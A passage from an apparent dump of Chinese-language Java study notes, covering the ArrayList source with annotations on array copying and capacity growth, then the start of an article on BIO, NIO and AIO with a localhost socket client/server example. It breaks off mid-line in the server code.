java.io.Serializable\n{\n    private static final long serialVersionUID = 8683452581122892189L;\n\n    /**\n     * 默认初始容量大小\n     */\n    private static final int DEFAULT_CAPACITY = 10;\n\n    /**\n     * 空数组（用于空实例）。\n     */\n    private static final Object[] EMPTY_ELEMENTDATA = {};\n\n     //用于默认大小空实例的共享空数组实例。\n      //我们把它从EMPTY_ELEMENTDATA数组中区分出来，以知道在添加第一个元素时容量需要增加多少。\n    private static final Object[] DEFAULTCAPACITY_EMPTY_ELEMENTDATA = {};\n\n    /**\n     * 保存ArrayList数据的数组\n     */\n    transient Object[] elementData; // non-private to simplify nested class access\n\n    /**\n     * ArrayList 所包含的元素个数\n     */\n    private int size;\n\n    /**\n     * 带初始容量参数的构造函数。（用户自己指定容量）\n     */\n    public ArrayList(int initialCapacity) {\n        if (initialCapacity > 0) {\n            //创建initialCapacity大小的数组\n            this.elementData = new Object[initialCapacity];\n        } else if (initialCapacity == 0) {\n            //创建空数组\n            this.elementData = EMPTY_ELEMENTDATA;\n        } else {\n            throw new IllegalArgumentException(\"Illegal Capacity: \"+\n                                               initialCapacity);\n        }\n    }\n\n    /**\n     *默认构造函数，DEFAULTCAPACITY_EMPTY_ELEMENTDATA 为0.初始化为10，也就是说初始其实是空数组 当添加第一个元素的时候数组容量才变成10\n     */\n    public ArrayList() {\n        this.elementData = DEFAULTCAPACITY_EMPTY_ELEMENTDATA;\n    }\n\n    /**\n     * 构造一个包含指定集合的元素的列表，按照它们由集合的迭代器返回的顺序。\n     */\n    public ArrayList(Collection<? extends E> c) {\n        //\n        elementData = c.toArray();\n        //如果指定集合元素个数不为0\n        if ((size = elementData.length) != 0) {\n            // c.toArray 可能返回的不是Object类型的数组所以加上下面的语句用于判断，\n            //这里用到了反射里面的getClass()方法\n            if (elementData.getClass() != Object[].class)\n                elementData = Arrays.copyOf(elementData, size, Object[].class);\n        } else {\n            // 用空数组代替\n            this.elementData = EMPTY_ELEMENTDATA;\n        }\n    }\n\n    /**\n     * 修改这个ArrayList实例的容量是列表的当前大小。 应用程序可以使用此操作来最小化ArrayList实例的存储。 \n     */\n    public void trimToSize() {\n        modCount++;\n        if (size < elementData.length) {\n            elementData = (size == 0)\n              ? EMPTY_ELEMENTDATA\n              : Arrays.copyOf(elementData, size);\n        }\n    }\n//下面是ArrayList的扩容机制\n//ArrayList的扩容机制提高了性能，如果每次只扩充一个，\n//那么频繁的插入会导致频繁的拷贝，降低性能，而ArrayList的扩容机制避免了这种情况。\n    /**\n     * 如有必要，增加此ArrayList实例的容量，以确保它至少能容纳元素的数量\n     * @param   minCapacity   所需的最小容量\n     */\n    public void ensureCapacity(int minCapacity) {\n        int minExpand = (elementData != DEFAULTCAPACITY_EMPTY_ELEMENTDATA)\n            // any size if not default element table\n            ? 0\n            // larger than default for default empty table. It's already\n            // supposed to be at default size.\n            : DEFAULT_CAPACITY;\n\n        if (minCapacity > minExpand) {\n            ensureExplicitCapacity(minCapacity);\n        }\n    }\n   //得到最小扩容量\n    private void ensureCapacityInternal(int minCapacity) {\n        if (elementData == DEFAULTCAPACITY_EMPTY_ELEMENTDATA) {\n              // 获取默认的容量和传入参数的较大值\n            minCapacity = Math.max(DEFAULT_CAPACITY, minCapacity);\n        }\n\n        ensureExplicitCapacity(minCapacity);\n    }\n  //判断是否需要扩容\n    private void ensureExplicitCapacity(int minCapacity) {\n        modCount++;\n\n        // overflow-conscious code\n        if (minCapacity - elementData.length > 0)\n            //调用grow方法进行扩容，调用此方法代表已经开始扩容了\n            grow(minCapacity);\n    }\n\n    /**\n     * 要分配的最大数组大小\n     */\n    private static final int MAX_ARRAY_SIZE = Integer.MAX_VALUE - 8;\n\n    /**\n     * ArrayList扩容的核心方法。\n     */\n    private void grow(int minCapacity) {\n        // oldCapacity为旧容量，newCapacity为新容量\n        int oldCapacity = elementData.length;\n        //将oldCapacity 右移一位，其效果相当于oldCapacity /2，\n        //我们知道位运算的速度远远快于整除运算，整句运算式的结果就是将新容量更新为旧容量的1.5倍，\n        int newCapacity = oldCapacity + (oldCapacity >> 1);\n        //然后检查新容量是否大于最小需要容量，若还是小于最小需要容量，那么就把最小需要容量当作数组的新容量，\n        if (newCapacity - minCapacity < 0)\n            newCapacity = minCapacity;\n        //再检查新容量是否超出了ArrayList所定义的最大容量，\n        //若超出了，则调用hugeCapacity()来比较minCapacity和 MAX_ARRAY_SIZE，\n        //如果minCapacity大于MAX_ARRAY_SIZE，则新容量则为Interger.MAX_VALUE，否则，新容量大小则为 MAX_ARRAY_SIZE。\n        if (newCapacity - MAX_ARRAY_SIZE > 0)\n            newCapacity = hugeCapacity(minCapacity);\n        // minCapacity is usually close to size, so this is a win:\n        elementData = Arrays.copyOf(elementData, newCapacity);\n    }\n    //比较minCapacity和 MAX_ARRAY_SIZE\n    private static int hugeCapacity(int minCapacity) {\n        if (minCapacity < 0) // overflow\n            throw new OutOfMemoryError();\n        return (minCapacity > MAX_ARRAY_SIZE) ?\n            Integer.MAX_VALUE :\n            MAX_ARRAY_SIZE;\n    }\n\n    /**\n     *返回此列表中的元素数。 \n     */\n    public int size() {\n        return size;\n    }\n\n    /**\n     * 如果此列表不包含元素，则返回 true 。\n     */\n    public boolean isEmpty() {\n        //注意=和==的区别\n        return size == 0;\n    }\n\n    /**\n     * 如果此列表包含指定的元素，则返回true 。\n     */\n    public boolean contains(Object o) {\n        //indexOf()方法：返回此列表中指定元素的首次出现的索引，如果此列表不包含此元素，则为-1 \n        return indexOf(o) >= 0;\n    }\n\n    /**\n     *返回此列表中指定元素的首次出现的索引，如果此列表不包含此元素，则为-1 \n     */\n    public int indexOf(Object o) {\n        if (o == null) {\n            for (int i = 0; i < size; i++)\n                if (elementData[i]==null)\n                    return i;\n        } else {\n            for (int i = 0; i < size; i++)\n                //equals()方法比较\n                if (o.equals(elementData[i]))\n                    return i;\n        }\n        return -1;\n    }\n\n    /**\n     * 返回此列表中指定元素的最后一次出现的索引，如果此列表不包含元素，则返回-1。.\n     */\n    public int lastIndexOf(Object o) {\n        if (o == null) {\n            for (int i = size-1; i >= 0; i--)\n                if (elementData[i]==null)\n                    return i;\n        } else {\n            for (int i = size-1; i >= 0; i--)\n                if (o.equals(elementData[i]))\n                    return i;\n        }\n        return -1;\n    }\n\n    /**\n     * 返回此ArrayList实例的浅拷贝。 （元素本身不被复制。） \n     */\n    public Object clone() {\n        try {\n            ArrayList<?> v = (ArrayList<?>) super.clone();\n            //Arrays.copyOf功能是实现数组的复制，返回复制后的数组。参数是被复制的数组和复制的长度\n            v.elementData = Arrays.copyOf(elementData, size);\n            v.modCount = 0;\n            return v;\n        } catch (CloneNotSupportedException e) {\n            // 这不应该发生，因为我们是可以克隆的\n            throw new InternalError(e);\n        }\n    }\n\n    /**\n     *以正确的顺序（从第一个到最后一个元素）返回一个包含此列表中所有元素的数组。 \n     *返回的数组将是“安全的”，因为该列表不保留对它的引用。 （换句话说，这个方法必须分配一个新的数组）。\n     *因此，调用者可以自由地修改返回的数组。 此方法充当基于阵列和基于集合的API之间的桥梁。\n     */\n    public Object[] toArray() {\n        return Arrays.copyOf(elementData, size);\n    }\n\n    /**\n     * 以正确的顺序返回一个包含此列表中所有元素的数组（从第一个到最后一个元素）; \n     *返回的数组的运行时类型是指定数组的运行时类型。 如果列表适合指定的数组，则返回其中。 \n     *否则，将为指定数组的运行时类型和此列表的大小分配一个新数组。 \n     *如果列表适用于指定的数组，其余空间（即数组的列表数量多于此元素），则紧跟在集合结束后的数组中的元素设置为null 。\n     *（这仅在调用者知道列表不包含任何空元素的情况下才能确定列表的长度。） \n     */\n    @SuppressWarnings(\"unchecked\")\n    public <T> T[] toArray(T[] a) {\n        if (a.length < size)\n            // 新建一个运行时类型的数组，但是ArrayList数组的内容\n            return (T[]) Arrays.copyOf(elementData, size, a.getClass());\n            //调用System提供的arraycopy()方法实现数组之间的复制\n        System.arraycopy(elementData, 0, a, 0, size);\n        if (a.length > size)\n            a[size] = null;\n        return a;\n    }\n\n    // Positional Access Operations\n\n    @SuppressWarnings(\"unchecked\")\n    E elementData(int index) {\n        return (E) elementData[index];\n    }\n\n    /**\n     * 返回此列表中指定位置的元素。\n     */\n    public E get(int index) {\n        rangeCheck(index);\n\n        return elementData(index);\n    }\n\n    /**\n     * 用指定的元素替换此列表中指定位置的元素。 \n     */\n    public E set(int index, E element) {\n        //对index进行界限检查\n        rangeCheck(index);\n\n        E oldValue = elementData(index);\n        elementData[index] = element;\n        //返回原来在这个位置的元素\n        return oldValue;\n    }\n\n    /**\n     * 将指定的元素追加到此列表的末尾。 \n     */\n    public boolean add(E e) {\n        ensureCapacityInternal(size + 1);  // Increments modCount!!\n        //这里看到ArrayList添加元素的实质就相当于为数组赋值\n        elementData[size++] = e;\n        return true;\n    }\n\n    /**\n     * 在此列表中的指定位置插入指定的元素。 \n     *先调用 rangeCheckForAdd 对index进行界限检查；然后调用 ensureCapacityInternal 方法保证capacity足够大；\n     *再将从index开始之后的所有成员后移一个位置；将element插入index位置；最后size加1。\n     */\n    public void add(int index, E element) {\n        rangeCheckForAdd(index);\n\n        ensureCapacityInternal(size + 1);  // Increments modCount!!\n        //arraycopy()这个实现数组之间复制的方法一定要看一下，下面就用到了arraycopy()方法实现数组自己复制自己\n        System.arraycopy(elementData, index, elementData, index + 1,\n                         size - index);\n        elementData[index] = element;\n        size++;\n    }\n\n    /**\n     * 删除该列表中指定位置的元素。 将任何后续元素移动到左侧（从其索引中减去一个元素）。 \n     */\n    public E remove(int index) {\n        rangeCheck(index);\n\n        modCount++;\n        E oldValue = elementData(index);\n\n        int numMoved = size - index - 1;\n        if (numMoved > 0)\n            System.arraycopy(elementData, index+1, elementData, index,\n                             numMoved);\n        elementData[--size] = null; // clear to let GC do its work\n      //从列表中删除的元素 \n        return oldValue;\n    }\n\n    /**\n     * 从列表中删除指定元素的第一个出现（如果存在）。 如果列表不包含该元素，则它不会更改。\n     *返回true，如果此列表包含指定的元素\n     */\n    public boolean remove(Object o) {\n        if (o == null) {\n            for (int index = 0; index < size; index++)\n                if (elementData[index] == null) {\n                    fastRemove(index);\n                    return true;\n                }\n        } else {\n            for (int index = 0; index < size; index++)\n                if (o.equals(elementData[index])) {\n                    fastRemove(index);\n                    return true;\n                }\n        }\n        return false;\n    }\n\n    /*\n     * Private remove method that skips bounds checking and does not\n     * return the value removed.\n     */\n    private void fastRemove(int index) {\n        modCount++;\n        int numMoved = size - index - 1;\n        if (numMoved > 0)\n            System.arraycopy(elementData, index+1, elementData, index,\n                             numMoved);\n        elementData[--size] = null; // clear to let GC do its work\n    }\n\n    /**\n     * 从列表中删除所有元素。 \n     */\n    public void clear() {\n        modCount++;\n\n        // 把数组中所有的元素的值设为null\n        for (int i = 0; i < size; i++)\n            elementData[i] = null;\n\n        size = 0;\n    }\n\n    /**\n     * 按指定集合的Iterator返回的顺序将指定集合中的所有元素追加到此列表的末尾。\n     */\n    public boolean addAll(Collection<? extends E> c) {\n        Object[] a = c.toArray();\n        int numNew = a.length;\n        ensureCapacityInternal(size + numNew);  // Increments modCount\n        System.arraycopy(a, 0, elementData, size, numNew);\n        size += numNew;\n        return numNew != 0;\n    }\n\n    /**\n     * 将指定集合中的所有元素插入到此列表中，从指定的位置开始。\n     */\n    public boolean addAll(int index, Collection<? extends E> c) {\n        rangeCheckForAdd(index);\n\n        Object[] a = c.toArray();\n        int numNew = a.length;\n        ensureCapacityInternal(size + numNew);  // Increments modCount\n\n        int numMoved = size - index;\n        if (numMoved > 0)\n            System.arraycopy(elementData, index, elementData, index + numNew,\n                             numMoved);\n\n        System.arraycopy(a, 0, elementData, index, numNew);\n        size += numNew;\n        return numNew != 0;\n    }\n\n    /**\n     * 从此列表中删除所有索引为fromIndex （含）和toIndex之间的元素。\n     *将任何后续元素移动到左侧（减少其索引）。\n     */\n    protected void removeRange(int fromIndex, int toIndex) {\n        modCount++;\n        int numMoved = size - toIndex;\n        System.arraycopy(elementData, toIndex, elementData, fromIndex,\n                         numMoved);\n\n        // clear to let GC do its work\n        int newSize = size - (toIndex-fromIndex);\n        for (int i = newSize; i < size; i++) {\n            elementData[i] = null;\n        }\n        size = newSize;\n    }\n\n    /**\n     * 检查给定的索引是否在范围内。\n     */\n    private void rangeCheck(int index) {\n        if (index >= size)\n            throw new IndexOutOfBoundsException(outOfBoundsMsg(index));\n    }\n\n    /**\n     * add和addAll使用的rangeCheck的一个版本\n     */\n    private void rangeCheckForAdd(int index) {\n        if (index > size || index < 0)\n            throw new IndexOutOfBoundsException(outOfBoundsMsg(index));\n    }\n\n    /**\n     * 返回IndexOutOfBoundsException细节信息\n     */\n    private String outOfBoundsMsg(int index) {\n        return \"Index: \"+index+\", Size: \"+size;\n    }\n\n    /**\n     * 从此列表中删除指定集合中包含的所有元素。 \n     */\n    public boolean removeAll(Collection<?> c) {\n        Objects.requireNonNull(c);\n        //如果此列表被修改则返回true\n        return batchRemove(c, false);\n    }\n\n    /**\n     * 仅保留此列表中包含在指定集合中的元素。\n     *换句话说，从此列表中删除其中不包含在指定集合中的所有元素。 \n     */\n    public boolean retainAll(Collection<?> c) {\n        Objects.requireNonNull(c);\n        return batchRemove(c, true);\n    }\n\n\n    /**\n     * 从列表中的指定位置开始，返回列表中的元素（按正确顺序）的列表迭代器。\n     *指定的索引表示初始调用将返回的第一个元素为next 。 初始调用previous将返回指定索引减1的元素。 \n     *返回的列表迭代器是fail-fast 。 \n     */\n    public ListIterator<E> listIterator(int index) {\n        if (index < 0 || index > size)\n            throw new IndexOutOfBoundsException(\"Index: \"+index);\n        return new ListItr(index);\n    }\n\n    /**\n     *返回列表中的列表迭代器（按适当的顺序）。 \n     *返回的列表迭代器是fail-fast 。\n     */\n    public ListIterator<E> listIterator() {\n        return new ListItr(0);\n    }\n\n    /**\n     *以正确的顺序返回该列表中的元素的迭代器。 \n     *返回的迭代器是fail-fast 。 \n     */\n    public Iterator<E> iterator() {\n        return new Itr();\n    }\n\n  \n```\n### <font face=\"楷体\" id=\"1\" id=\"5\">ArrayList源码分析</font>\n####  System.arraycopy()和Arrays.copyOf()方法\n　　通过上面源码我们发现这两个实现数组复制的方法被广泛使用而且很多地方都特别巧妙。比如下面<font color=\"red\">add(int index, E element)</font>方法就很巧妙的用到了<font color=\"red\">arraycopy()方法</font>让数组自己复制自己实现让index开始之后的所有成员后移一个位置:\n```java \n    /**\n     * 在此列表中的指定位置插入指定的元素。 \n     *先调用 rangeCheckForAdd 对index进行界限检查；然后调用 ensureCapacityInternal 方法保证capacity足够大；\n     *再将从index开始之后的所有成员后移一个位置；将element插入index位置；最后size加1。\n     */\n    public void add(int index, E element) {\n        rangeCheckForAdd(index);\n\n        ensureCapacityInternal(size + 1);  // Increments modCount!!\n        //arraycopy()方法实现数组自己复制自己\n        //elementData:源数组;index:源数组中的起始位置;elementData：目标数组；index + 1：目标数组中的起始位置； size - index：要复制的数组元素的数量；\n        System.arraycopy(elementData, index, elementData, index + 1, size - index);\n        elementData[index] = element;\n        size++;\n    }\n```\n又如toArray()方法中用到了copyOf()方法\n```java\n\n    /**\n     *以正确的顺序（从第一个到最后一个元素）返回一个包含此列表中所有元素的数组。 \n     *返回的数组将是“安全的”，因为该列表不保留对它的引用。 （换句话说，这个方法必须分配一个新的数组）。\n     *因此，调用者可以自由地修改返回的数组。 此方法充当基于阵列和基于集合的API之间的桥梁。\n     */\n    public Object[] toArray() {\n    //elementData：要复制的数组；size：要复制的长度\n        return Arrays.copyOf(elementData, size);\n    }\n```\n##### 两者联系与区别\n**联系：**\n看两者源代码可以发现`copyOf()`内部调用了`System.arraycopy()`方法\n**区别：**\n1. arraycopy()需要目标数组，将原数组拷贝到你自己定义的数组里，而且可以选择拷贝的起点和长度以及放入新数组中的位置\n2. copyOf()是系统自动在内部新建一个数组，并返回该数组。\n#### ArrayList 核心扩容技术\n```java\n//下面是ArrayList的扩容机制\n//ArrayList的扩容机制提高了性能，如果每次只扩充一个，\n//那么频繁的插入会导致频繁的拷贝，降低性能，而ArrayList的扩容机制避免了这种情况。\n    /**\n     * 如有必要，增加此ArrayList实例的容量，以确保它至少能容纳元素的数量\n     * @param   minCapacity   所需的最小容量\n     */\n    public void ensureCapacity(int minCapacity) {\n        int minExpand = (elementData != DEFAULTCAPACITY_EMPTY_ELEMENTDATA)\n            // any size if not default element table\n            ? 0\n            // larger than default for default empty table. It's already\n            // supposed to be at default size.\n            : DEFAULT_CAPACITY;\n\n        if (minCapacity > minExpand) {\n            ensureExplicitCapacity(minCapacity);\n        }\n    }\n   //得到最小扩容量\n    private void ensureCapacityInternal(int minCapacity) {\n        if (elementData == DEFAULTCAPACITY_EMPTY_ELEMENTDATA) {\n              // 获取默认的容量和传入参数的较大值\n            minCapacity = Math.max(DEFAULT_CAPACITY, minCapacity);\n        }\n\n        ensureExplicitCapacity(minCapacity);\n    }\n  //判断是否需要扩容,上面两个方法都要调用\n    private void ensureExplicitCapacity(int minCapacity) {\n        modCount++;\n\n        // 如果说minCapacity也就是所需的最小容量大于保存ArrayList数据的数组的长度的话，就需要调用grow(minCapacity)方法扩容。\n        //这个minCapacity到底为多少呢？举个例子在添加元素(add)方法中这个minCapacity的大小就为现在数组的长度加1\n        if (minCapacity - elementData.length > 0)\n            //调用grow方法进行扩容，调用此方法代表已经开始扩容了\n            grow(minCapacity);\n    }\n\n```\n```java\n    /**\n     * ArrayList扩容的核心方法。\n     */\n    private void grow(int minCapacity) {\n       //elementData为保存ArrayList数据的数组\n       ///elementData.length求数组长度elementData.size是求数组中的元素个数\n        // oldCapacity为旧容量，newCapacity为新容量\n        int oldCapacity = elementData.length;\n        //将oldCapacity 右移一位，其效果相当于oldCapacity /2，\n        //我们知道位运算的速度远远快于整除运算，整句运算式的结果就是将新容量更新为旧容量的1.5倍，\n        int newCapacity = oldCapacity + (oldCapacity >> 1);\n        //然后检查新容量是否大于最小需要容量，若还是小于最小需要容量，那么就把最小需要容量当作数组的新容量，\n        if (newCapacity - minCapacity < 0)\n            newCapacity = minCapacity;\n        //再检查新容量是否超出了ArrayList所定义的最大容量，\n        //若超出了，则调用hugeCapacity()来比较minCapacity和 MAX_ARRAY_SIZE，\n        //如果minCapacity大于MAX_ARRAY_SIZE，则新容量则为Interger.MAX_VALUE，否则，新容量大小则为 MAX_ARRAY_SIZE。\n        if (newCapacity - MAX_ARRAY_SIZE > 0)\n            newCapacity = hugeCapacity(minCapacity);\n        // minCapacity is usually close to size, so this is a win:\n        elementData = Arrays.copyOf(elementData, newCapacity);\n    }\n    \n```\n　　扩容机制代码已经做了详细的解释。另外值得注意的是大家很容易忽略的一个运算符：**移位运算符**\n　　**简介**：移位运算符就是在二进制的基础上对数字进行平移。按照平移的方向和填充数字的规则分为三种:<font color=\"red\"><<(左移)</font>、<font color=\"red\">>>(带符号右移)</font>和<font color=\"red\">>>>(无符号右移)</font>。\n　　**作用**：**对于大数据的2进制运算,位移运算符比那些普通运算符的运算要快很多,因为程序仅仅移动一下而已,不去计算,这样提高了效率,节省了资源**\n　　比如这里：int newCapacity = oldCapacity + (oldCapacity >> 1);\n右移一位相当于除2，右移n位相当于除以 2 的 n 次方。这里 oldCapacity 明显右移了1位所以相当于oldCapacity /2。\n\n**另外需要注意的是：**\n\n1. java 中的**length 属性**是针对数组说的,比如说你声明了一个数组,想知道这个数组的长度则用到了 length 这个属性.\n\n2. java 中的**length()方法**是针对字  符串String说的,如果想看这个字符串的长度则用到 length()这个方法.\n\n3. .java 中的**size()方法**是针对泛型集合说的,如果想看这个泛型有多少个元素,就调用此方法来查看!\n\n\n#### 内部类\n```java\n    (1)private class Itr implements Iterator<E>  \n    (2)private class ListItr extends Itr implements ListIterator<E>  \n    (3)private class SubList extends AbstractList<E> implements RandomAccess  \n    (4)static final class ArrayListSpliterator<E> implements Spliterator<E>  \n```\n　　ArrayList有四个内部类，其中的**Itr是实现了Iterator接口**，同时重写了里面的**hasNext()**，**next()**，**remove()**等方法；其中的**ListItr**继承**Itr**，实现了**ListIterator接口**，同时重写了**hasPrevious()**，**nextIndex()**，**previousIndex()**，**previous()**，**set(E e)**，**add(E e)**等方法，所以这也可以看出了 **Iterator和ListIterator的区别:**ListIterator在Iterator的基础上增加了添加对象，修改对象，逆向遍历等方法，这些是Iterator不能实现的。\n### <font face=\"楷体\" id=\"6\"> ArrayList经典Demo</font>\n\n```java\npackage list;\nimport java.util.ArrayList;\nimport java.util.Iterator;\n\npublic class ArrayListDemo {\n\n    public static void main(String[] srgs){\n         ArrayList<Integer> arrayList = new ArrayList<Integer>();\n\n         System.out.printf(\"Before add:arrayList.size() = %d\\n\",arrayList.size());\n\n         arrayList.add(1);\n         arrayList.add(3);\n         arrayList.add(5);\n         arrayList.add(7);\n         arrayList.add(9);\n         System.out.printf(\"After add:arrayList.size() = %d\\n\",arrayList.size());\n\n         System.out.println(\"Printing elements of arrayList\");\n         // 三种遍历方式打印元素\n         // 第一种：通过迭代器遍历\n         System.out.print(\"通过迭代器遍历:\");\n         Iterator<Integer> it = arrayList.iterator();\n         while(it.hasNext()){\n             System.out.print(it.next() + \" \");\n         }\n         System.out.println();\n\n         // 第二种：通过索引值遍历\n         System.out.print(\"通过索引值遍历:\");\n         for(int i = 0; i < arrayList.size(); i++){\n             System.out.print(arrayList.get(i) + \" \");\n         }\n         System.out.println();\n\n         // 第三种：for循环遍历\n         System.out.print(\"for循环遍历:\");\n         for(Integer number : arrayList){\n             System.out.print(number + \" \");\n         }\n\n         // toArray用法\n         // 第一种方式(最常用)\n         Integer[] integer = arrayList.toArray(new Integer[0]);\n\n         // 第二种方式(容易理解)\n         Integer[] integer1 = new Integer[arrayList.size()];\n         arrayList.toArray(integer1);\n\n         // 抛出异常，java不支持向下转型\n         //Integer[] integer2 = new Integer[arrayList.size()];\n         //integer2 = arrayList.toArray();\n         System.out.println();\n\n         // 在指定位置添加元素\n         arrayList.add(2,2);\n         // 删除指定位置上的元素\n         arrayList.remove(2);    \n         // 删除指定元素\n         arrayList.remove((Object)3);\n         // 判断arrayList是否包含5\n         System.out.println(\"ArrayList contains 5 is: \" + arrayList.contains(5));\n\n         // 清空ArrayList\n         arrayList.clear();\n         // 判断ArrayList是否为空\n         System.out.println(\"ArrayList is empty: \" + arrayList.isEmpty());\n    }\n}\n```\n\n"
  },
  {
    "path": "docs/java/BIO-NIO-AIO.md",
    "content": "熟练掌握 BIO,NIO,AIO 的基本概念以及一些常见问题是你准备面试的过程中不可或缺的一部分，另外这些知识点也是你学习 Netty 的基础。\n\n<!-- MarkdownTOC -->\n\n- [BIO,NIO,AIO 总结](#bionioaio-总结)\n  - [1. BIO \\(Blocking I/O\\)](#1-bio-blocking-io)\n    - [1.1 传统 BIO](#11-传统-bio)\n    - [1.2 伪异步 IO](#12-伪异步-io)\n    - [1.3 代码示例](#13-代码示例)\n    - [1.4 总结](#14-总结)\n  - [2. NIO \\(New I/O\\)](#2-nio-new-io)\n    - [2.1 NIO 简介](#21-nio-简介)\n    - [2.2 NIO的特性/NIO与IO区别](#22-nio的特性nio与io区别)\n      - [1)Non-blocking IO（非阻塞IO）](#1non-blocking-io（非阻塞io）)\n      - [2)Buffer\\(缓冲区\\)](#2buffer缓冲区)\n      - [3)Channel \\(通道\\)](#3channel-通道)\n      - [4)Selectors\\(选择器\\)](#4selectors选择器)\n    - [2.3  NIO 读数据和写数据方式](#23-nio-读数据和写数据方式)\n    - [2.4 NIO核心组件简单介绍](#24-nio核心组件简单介绍)\n    - [2.5 代码示例](#25-代码示例)\n  - [3. AIO  \\(Asynchronous I/O\\)](#3-aio-asynchronous-io)\n  - [参考](#参考)\n\n<!-- /MarkdownTOC -->\n\n\n# BIO,NIO,AIO 总结\n\n Java 中的 BIO、NIO和 AIO 理解为是 Java 语言对操作系统的各种 IO 模型的封装。程序员在使用这些 API 的时候，不需要关心操作系统层面的知识，也不需要根据不同操作系统编写不同的代码。只需要使用Java的API就可以了。\n\n在讲 BIO,NIO,AIO 之前先来回顾一下这样几个概念：同步与异步，阻塞与非阻塞。\n\n**同步与异步**\n\n- **同步：** 同步就是发起一个调用后，被调用者未处理完请求之前，调用不返回。\n- **异步：** 异步就是发起一个调用后，立刻得到被调用者的回应表示已接收到请求，但是被调用者并没有返回结果，此时我们可以处理其他的请求，被调用者通常依靠事件，回调等机制来通知调用者其返回结果。\n\n同步和异步的区别最大在于异步的话调用者不需要等待处理结果，被调用者会通过回调等机制来通知调用者其返回结果。\n\n**阻塞和非阻塞**\n\n- **阻塞：** 阻塞就是发起一个请求，调用者一直等待请求结果返回，也就是当前线程会被挂起，无法从事其他任务，只有当条件就绪才能继续。\n- **非阻塞：** 非阻塞就是发起一个请求，调用者不用一直等着结果返回，可以先去干其他事情。\n\n举个生活中简单的例子，你妈妈让你烧水，小时候你比较笨啊，在哪里傻等着水开（**同步阻塞**）。等你稍微再长大一点，你知道每次烧水的空隙可以去干点其他事，然后只需要时不时来看看水开了没有（**同步非阻塞**）。后来，你们家用上了水开了会发出声音的壶，这样你就只需要听到响声后就知道水开了，在这期间你可以随便干自己的事情，你需要去倒水了（**异步非阻塞**）。\n\n\n## 1. BIO (Blocking I/O)\n\n同步阻塞I/O模式，数据的读取写入必须阻塞在一个线程内等待其完成。\n\n### 1.1 传统 BIO\n\nBIO通信（一请求一应答）模型图如下(图源网络，原出处不明)：\n\n![传统BIO通信模型图](https://my-blog-to-use.oss-cn-beijing.aliyuncs.com/2.png)\n\n采用 **BIO 通信模型** 的服务端，通常由一个独立的 Acceptor 线程负责监听客户端的连接。我们一般通过在`while(true)` 循环中服务端会调用 `accept()` 方法等待接收客户端的连接的方式监听请求，请求一旦接收到一个连接请求，就可以建立通信套接字在这个通信套接字上进行读写操作，此时不能再接收其他客户端连接请求，只能等待同当前连接的客户端的操作执行完成， 不过可以通过多线程来支持多个客户端的连接，如上图所示。\n\n如果要让 **BIO 通信模型** 能够同时处理多个客户端请求，就必须使用多线程（主要原因是`socket.accept()`、`socket.read()`、`socket.write()` 涉及的三个主要函数都是同步阻塞的），也就是说它在接收到客户端连接请求之后为每个客户端创建一个新的线程进行链路处理，处理完成之后，通过输出流返回应答给客户端，线程销毁。这就是典型的 **一请求一应答通信模型** 。我们可以设想一下如果这个连接不做任何事情的话就会造成不必要的线程开销，不过可以通过 **线程池机制** 改善，线程池还可以让线程的创建和回收成本相对较低。使用`FixedThreadPool` 可以有效的控制了线程的最大数量，保证了系统有限的资源的控制，实现了N(客户端请求数量):M(处理客户端请求的线程数量)的伪异步I/O模型（N 可以远远大于 M），下面一节\"伪异步 BIO\"中会详细介绍到。\n\n**我们再设想一下当客户端并发访问量增加后这种模型会出现什么问题？**\n\n在 Java 虚拟机中，线程是宝贵的资源，线程的创建和销毁成本很高，除此之外，线程的切换成本也是很高的。尤其在 Linux 这样的操作系统中，线程本质上就是一个进程，创建和销毁线程都是重量级的系统函数。如果并发访问量增加会导致线程数急剧膨胀可能会导致线程堆栈溢出、创建新线程失败等问题，最终导致进程宕机或者僵死，不能对外提供服务。\n\n### 1.2 伪异步 IO\n\n为了解决同步阻塞I/O面临的一个链路需要一个线程处理的问题，后来有人对它的线程模型进行了优化一一一后端通过一个线程池来处理多个客户端的请求接入，形成客户端个数M：线程池最大线程数N的比例关系，其中M可以远远大于N.通过线程池可以灵活地调配线程资源，设置线程的最大值，防止由于海量并发接入导致线程耗尽。\n\n伪异步IO模型图(图源网络，原出处不明)：\n\n![伪异步IO模型图](https://my-blog-to-use.oss-cn-beijing.aliyuncs.com/3.png)\n\n采用线程池和任务队列可以实现一种叫做伪异步的 I/O 通信框架，它的模型图如上图所示。当有新的客户端接入时，将客户端的 Socket 封装成一个Task（该任务实现java.lang.Runnable接口）投递到后端的线程池中进行处理，JDK 的线程池维护一个消息队列和 N 个活跃线程，对消息队列中的任务进行处理。由于线程池可以设置消息队列的大小和最大线程数，因此，它的资源占用是可控的，无论多少个客户端并发访问，都不会导致资源的耗尽和宕机。\n\n伪异步I/O通信框架采用了线程池实现，因此避免了为每个请求都创建一个独立线程造成的线程资源耗尽问题。不过因为它的底层任然是同步阻塞的BIO模型，因此无法从根本上解决问题。\n\n### 1.3 代码示例\n\n下面代码中演示了BIO通信（一请求一应答）模型。我们会在客户端创建多个线程依次连接服务端并向其发送\"当前时间+:hello world\"，服务端会为每个客户端线程创建一个线程来处理。代码示例出自闪电侠的博客，原地址如下：        \n\n[https://www.jianshu.com/p/a4e03835921a](https://www.jianshu.com/p/a4e03835921a)\n\n**客户端**\n\n```java\n/**\n * \n * @author 闪电侠\n * @date 2018年10月14日\n * @Description:客户端\n */\npublic class IOClient {\n\n  public static void main(String[] args) {\n    // TODO 创建多个线程，模拟多个客户端连接服务端\n    new Thread(() -> {\n      try {\n        Socket socket = new Socket(\"127.0.0.1\", 3333);\n        while (true) {\n          try {\n            socket.getOutputStream().write((new Date() + \": hello world\").getBytes());\n            Thread.sleep(2000);\n          } catch (Exception e) {\n          }\n        }\n      } catch (IOException e) {\n      }\n    }).start();\n\n  }\n\n}\n\n```\n\n**服务端**\n\n```java\n/**\n * @author 闪电侠\n * @date 2018年10月14日\n * @Description: 服务端\n */\npublic class IOServer {\n\n  public static void main(String[] args) throws IOException {\n    // TODO 服务端处理客户端连接请求\n    ServerSocket serverSocket = new ServerSocket(3333);\n\n    // 接收到客户端连接请求之后为每个客户端创建一个新的线程进行链路处理\n    new Thread(() -> {\n      while (true) {\n        try {\n          // 阻塞方法获取新的连接\n          Socket socket = serverSocket.accept();\n\n          // 每一个新的连接都创建一个线程，负责读取数据\n          new Thread(() -> {\n            try {\n              int len;\n              byte[] data = new byte[1024];\n              InputStream inputStream = socket.getInputStream();\n              // 按字节流方式读取数据\n              while ((len = inputStream.read(data)) != -1) {\n                System.out.println(new String(data, 